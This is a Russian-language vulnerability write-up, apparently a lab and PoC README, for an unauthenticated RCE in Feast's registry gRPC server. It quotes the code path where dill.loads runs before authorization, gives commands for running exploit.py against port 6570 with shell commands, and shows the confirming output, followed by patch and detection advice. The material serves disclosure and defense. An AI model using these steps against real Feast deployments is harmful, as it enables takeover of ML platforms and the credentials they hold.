
CVE-2026-56121 — Feast <0.63.0 неаутентифицированное RCE через gRPC реестр dill.loads UDF OnDemandFeatureView (pre-auth). Лабораторная работа + PoC, проверено e2e.
Feast
< 0.63.0registry gRPC серверdill.loads()определенную пользователем функциюOnDemandFeatureViewсразу же после поступления спецификации — до любой проверки авторизации. Поставляемая конфигурация —auth: no_auth, поэтому любой клиент, который может достичь порта регистрации (по умолчанию6570), получает неаутентифицированное удаленное выполнение кода, отправив один запросApplyFeatureViewс вредоносным pickle.
| CVE | CVE-2026-56121 |
| Затрагивает | Feast < 0.63.0 |
| Исправлено | 0.63.0 |
| Класс | CWE-502 (Десериализация недоверенных данных) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Нет (auth: no_auth по умолчанию; десериализация происходит до авторизации) |
| Поверхность | registry gRPC RegistryServer.ApplyFeatureView (порт по умолчанию 6570) |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на feast==0.62.0 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
from_proto (1) вызывается до проверки разрешений (2). Она разбирает
преобразование, которое dill.loads() тело UDF —
sdk/python/feast/transformation/pandas_transformation.py (и python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- pickle под контролем злоумышленника
udf_string=user_defined_function_proto.body_text,
)
dill является надмножеством pickle, поэтому dill.loads() от байт злоумышленника вызывает
механизм pickle __reduce__ → произвольное выполнение кода. Поскольку он выполняется до
assert_permissions_to_update — а по умолчанию auth: no_auth делает эту проверку
неэффективной — RCE является неаутентифицированным.
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
Наблюдается:
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
В конечном итоге RPC выдает ошибку (распакованный объект больше не является вызываемой UDF), но
команда уже выполнилась во время dill.loads() — cat /tmp/feast_pwned возвращает
живой вывод id/uname, что доказывает выполнение, а не эхо.
Любой, кто может достичь порта gRPC регистрации Feast, выполняет произвольные команды ОС от имени учетной записи службы регистрации — полная компрометация хранилища признаков и офлайн/онлайн хранилищ, реестров и облачных учетных данных, к которым он подключен. Реестры Feast часто открыты внутри платформ машинного обучения для вызова клиентами SDK.
skip_udf, так что сервер регистрации
больше не десериализует тело UDF входящих спецификаций.auth (oidc/kubernetes) и никогда не открывайте порт
регистрации для ненадежных сетей. Обратите внимание, что одной аутентификации недостаточно
на версии < 0.63.0, поскольку десериализация происходит до проверки авторизации.Оповещайте о RPC-вызовах ApplyFeatureView / ApplyMaterialization к регистрации, у которых
OnDemandFeatureView user_defined_function.body не создан доверенным клиентом, а также
о процессах регистрации, порождающих оболочки.
Смотрите ANALYSIS.md для пути proto, порядка десериализации перед авторизацией
и патча.